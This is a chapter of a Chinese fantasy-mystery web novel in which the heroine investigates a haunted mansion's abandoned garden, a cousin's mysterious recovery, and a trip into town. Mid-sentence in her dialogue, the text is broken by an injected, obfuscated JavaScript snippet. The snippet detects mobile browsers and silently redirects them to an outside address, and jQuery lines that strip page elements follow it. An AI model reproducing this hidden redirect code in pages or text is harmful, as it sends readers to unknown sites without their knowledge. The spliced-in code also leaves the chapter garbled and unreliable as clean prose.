10. 千阴宅

用完早膳,荣欣兰便说要回房间小憩一会儿,离开前还不忘让桑婉多陪陪朝朝。


荣欣兰前脚刚走,后脚桑婉也冷着脸扭头离开,没有给朝朝半个眼神。


这样倒也好,朝朝正想独自在桑宅中探查一番,找找看破境的方法。


桑家真的很大,要想将这宅邸整个都走一遍,足足需要花上近半个时辰,与其说是宅子,不如说这里是个山庄。


东面有一个花园,出了花园便是桑岐南、荣欣兰住的院子,隔着一道墙则是桑家兄弟的院子


而桑婉则和朝朝住在南院,南院旁有一个藏书阁,藏书阁的对面是一个佛堂。


北侧是疱屋等房间,护院和其他下人们也都住在北院。


将这些地方逛的差不多了,她才往西园走去。


快走到西园的最边缘时,朝朝看到一个月洞门,透过门洞能看见里面杂草丛生,尽是一片荒凉景象。


朝朝脚步停在月洞门外,皱着眉头专注地看着里面。


“朝小姐,您怎么在这里?”


身后突然响起的声音吓了她一跳,回身看去才发现是那名叫陆承的男子。


“我……我就是随便走走。”朝朝压着心底的慌张回道。


“这样啊。”陆承浅笑着走到她身旁停下,视线朝月洞门的方向移去,“这里是废园,没人住,桑老爷也觉得没有必要浪费人力把废园打理出来,所以此处就荒废了。”


果然如朝朝所想,这里便是纸条上提到的西院废园。


她连忙开口问道:“这里是禁地吗?就……桑家有没有不准靠近这里之类的规矩?”


听她问完,陆承微怔,片刻后失笑出声,笑了一阵才答道:“怎么可能有这种奇怪的规矩,桑老爷是个坦荡的人,桑家从来都没有过什么禁地之说,这里面全是杂草所以才没有人愿意过来……不过,刚搬进这宅子时,有人说在废园内看到过蛇,所以你最好不要进去,如果被蛇咬到就不好了。”


朝朝:“那废园里是不是有一口古井?”


“有啊,不过井水已经枯竭,不能用了。”陆承答完后看向朝朝,奇怪的问她:“朝小姐怎么知道里面有古井?您进去过了?”


朝朝正摸着下巴,认真思忖着,并没有将陆承的问话听入耳中。


按照陆承所说,废园是可以随意进入的,古井也很普通,但纸条上却说,这废园内的古井很危险。


到底该相信陆承还是纸条?


“朝小姐,您在想什么呢?”陆承抬起右手在她发怔的双眼前晃了晃。


朝朝回过神,换上笑脸说道:“没什么。”


“嗯……”陆承看着她,眼尾染上一点柔和的笑意。


片刻后,他稍稍靠近朝朝,小声提议到:“如果您想进去看看,我可以陪您。”


“不用了。”朝朝连忙摆手,“我只是路过而已,并不想进去。”


这废园内到底有何玄机,她还不能确定,为了不把陆承卷入危险中,探查废园之事还是她独自一人时进去为好。


二人转身离开时,陆承又提议护送她回南院,朝朝本想拒绝,但陆承没给她开口的机会,直接抬脚向前走去,她也不好再多说什么,只能跟了上去。


不过这样也好,她可以从陆承口中再多打听些事情。


朝朝:“陆承,你在桑家当护卫多久了?”


“很久,我都记不清具体有多少个日子了。”


朝朝有些惊讶:“那么久吗?舅父一家一定对你很好,不然你也不会心甘情愿地在桑家待这么久吧?”


“是啊。”陆承浅笑说着,又转头看向她:“朝小姐突然来到这个陌生的地方,应该很不安吧?不过您不用担心,这里每个人都很好,他们也都很喜欢您,您可以安心留在此处。”


听到陆承说大家都很喜欢她,朝朝尴尬地用食指挠了挠脸颊,小声说道:“也不是所有人都喜欢我吧。”


陆承面露不解:“这是什么意思。”


朝朝有些犹豫地开口:“那个……我感觉表姐好像不怎么喜欢我,每次她看我的眼神都……冷冰冰的,我就在想是不是我做了什么惹她不高兴的事了。”


陆承轻笑摇头:“不是你的错,婉小姐从小就身体不好,两个月前还在鬼门关走了一回,她受了那么多苦难,好不容易才把命捡回来,这脾气自然古怪一些,但其实她很善良,对你应该也不是讨厌。”


“表姐在鬼门关走了一回?!”朝朝面露诧异,“这是怎么回事?”


见她完全不知情的模样,陆承只好慢声给她讲起来。


“婉小姐患有先天心疾,从小就缠绵病榻,桑老爷和夫人为她寻遍名医,但未能寻到一个医治好的方法,只能每日用汤药吊着她的命,不过病症还是一日比一日严重,两个月前婉小姐病入膏肓,当时桑家的每个人都准备好办丧事了。”


朝朝:“丧事?这么严重?那表姐的病是如何治好的?”


陆承摇了摇头:“我也不清楚,那病突然就好了,可能是桑老爷找到了什么偏方吧,桑小姐能把病治好,大家都很开心,所以也没人惦记去问细枝末节的事了。”


什么偏方能把一个将死之人从鬼门关拉回来?难不成是仙丹?


又或者……与邪祟有关?


此时,她的身后忽然升起一股莫名的冷意。


她猛地停住脚步,立刻回头寻找冷意的来源。


但,身后空无一人。


身旁的陆承看着她严肃的表情,疑惑地问道:“怎么了?”


朝朝稍稍缓和紧绷的表情,朝陆承摇了摇头。


二人继续向前走去。


无人注意到右侧屋内的人影。


她站在纸窗前,黑色的瞳孔对准窗上的窟窿,注视着朝朝渐行渐远的背影,兴奋地低喘着。


“你……是我的……”


*


午后申时,荣欣兰命人备了两辆马车,方便朝朝同桑家三兄妹下山游玩。


下山的路上,商枝不停地同朝朝讲着邺城内的好吃的好玩的,虽说这些都只是她听说的,但她还是难掩期待。


朝朝却听得有些心不在焉,只是不时敷衍的‘嗯’一声做回应。


她抬起右手,将身侧车窗的帘子掀开一点朝外看去。


马车外,青山绿野飞快后退,几只燕子刚好从树梢飞起。


正是六月好风景。


这天气确实适合出游,只可惜此次下山,玄烛并不在行列中。


陆承说他刚到府中不过七日,还不熟悉府中事务,便将他留在宅中学习了。


玄烛也不在意能否下山,但朝朝却很在意。


在这险恶的幻境中,他们二人自然是时刻待在一处才好。


她需要玄烛强大的力量助她逃脱十恶境。


同样她也要利用自己的不死之身,来保证玄烛能顺利抵达十恶境的深处。


朝朝望着车窗外,眸色渐深。


见她良久不语,商枝试探地唤道:“小姐?”


朝朝回过神,换上柔暖的笑容:“怎么了?”


“没什么,就是觉得小姐好像有心事。”商枝说道。


朝朝摇头道:“没有,我刚刚只是在想游玩的事


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966626|161273||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


。”


话回到游玩上,商枝又重燃激动之情,滔滔不绝地继续讲起来。


暨至邺城内,商枝先下了马车,想要搀扶朝朝下马车。


然而等朝朝将半个身子探出时,伸来的却是一只男人的手。


手的主人是桑洵,此刻他正带着浅淡和煦的笑意看着朝朝。


虽然都是面带微笑,但眼前的桑洵却和早上的他全然是两个人。


此刻的他清清爽爽,并不会让朝朝感到不适,而早上的他,却隐隐透露着令朝朝不安的阴暗感。


朝朝的视线下意识落在桑洵的左手上。


五根手指,十分寻常,与常人并无不同。


难道早上是自己看花眼了?


朝朝正疑惑时,又瞥见桑洵的袖下似乎有疤痕。


见朝朝在发怔,桑洵轻声唤道:“表妹?”


她回过神来,由着桑洵扶着自己下了马车,站稳脚时,假装无意地撩起了桑洵的袖口,衣袖下的伤疤顿时一览无余。


那是一道横穿手腕,无比狰狞的凸起的伤疤,一看便是用刀割出来的。


“洵表哥,你这伤疤是怎么弄的?”朝朝问道。


桑洵看了一眼那伤疤,随后不慌不忙地用衣袖遮挡住,轻声回道:“我也不记得这伤疤是怎么来的了。”


“不记得?”朝朝有些惊讶,“这伤疤一看就很深,如此深的伤口,怎么可能不记得了。”


桑洵轻小说道:“应该是我儿时弄伤的吧,时间太久了,所以就不记得了。”


他话音刚落下,不远处的桑远便唤起他们:“阿洵,朝朝,快过来。”


朝朝便跟这桑洵一起走过去,心里却还是对桑洵手腕上的伤疤很在意。


那样的疤痕,分明当初是足以夺走桑洵性命的伤口,桑洵怎么会一点印象没有呢……


此事虽令人困惑,但朝朝很快就被周遭的景象吸引走了注意力。


邺城四季如春,物产丰富,东有码头,北通皇城上京,是物品流通的重地,正谓市列珠玑,户盈罗绮,竞豪奢。


朝朝虽没去过人界,但看过很多有关人界繁茂景象的书,对人界也不少,没想到此处虽为幻境,可城内市井的热闹和那书中竟然别无二致,甚至有过之而无不及。


一踏上长街,她便瞪大了双眼看着街上熙熙攘攘的人群,还有两侧琳琅满目的铺子和商摊,不由地喃喃道:“这幻境中的人界可比天界有趣多了。”


“天界?那是哪里?”桑洵疑惑地看向她。


朝朝连忙摆手:“没什么,我只是在感叹这邺城实在繁华。”


桑远从后方走到朝朝身边,含笑说道:“这才哪儿到哪儿,等会儿我们先去文楼听戏,天黑了再带你在夜市玩玩,夜市更热闹,到时满街的灯笼都会被点亮,犹如长龙,那景象才美得醉人。”


听他这么一说,朝朝也忍不住激动起来。


一行人说说笑笑的朝文楼走去,除了桑婉。


她走在最后,神情幽幽地看着桑远身边的朝朝身上。


而后她不动声色地摸了摸袖中的匕首。


某间铺子的屋顶上,玄烛萁坐于此,冷眼注视着桑婉的动作。


片刻后他又瞥了眼正有说有笑的朝朝,最后从怀中摸出在桑岐南和荣欣兰屋中找到的纸条。


“六,书中自有黄金屋,书中自有颜如玉,若想破解桑宅谜,可至佛堂阅金经,佛像闭眼方可阅,佛像睁眼杀机现。”


当视线从纸条上的最后一个字上滑过时,玄烛的唇角微微弯起。


看来,他很快就能摆脱那个麻烦了。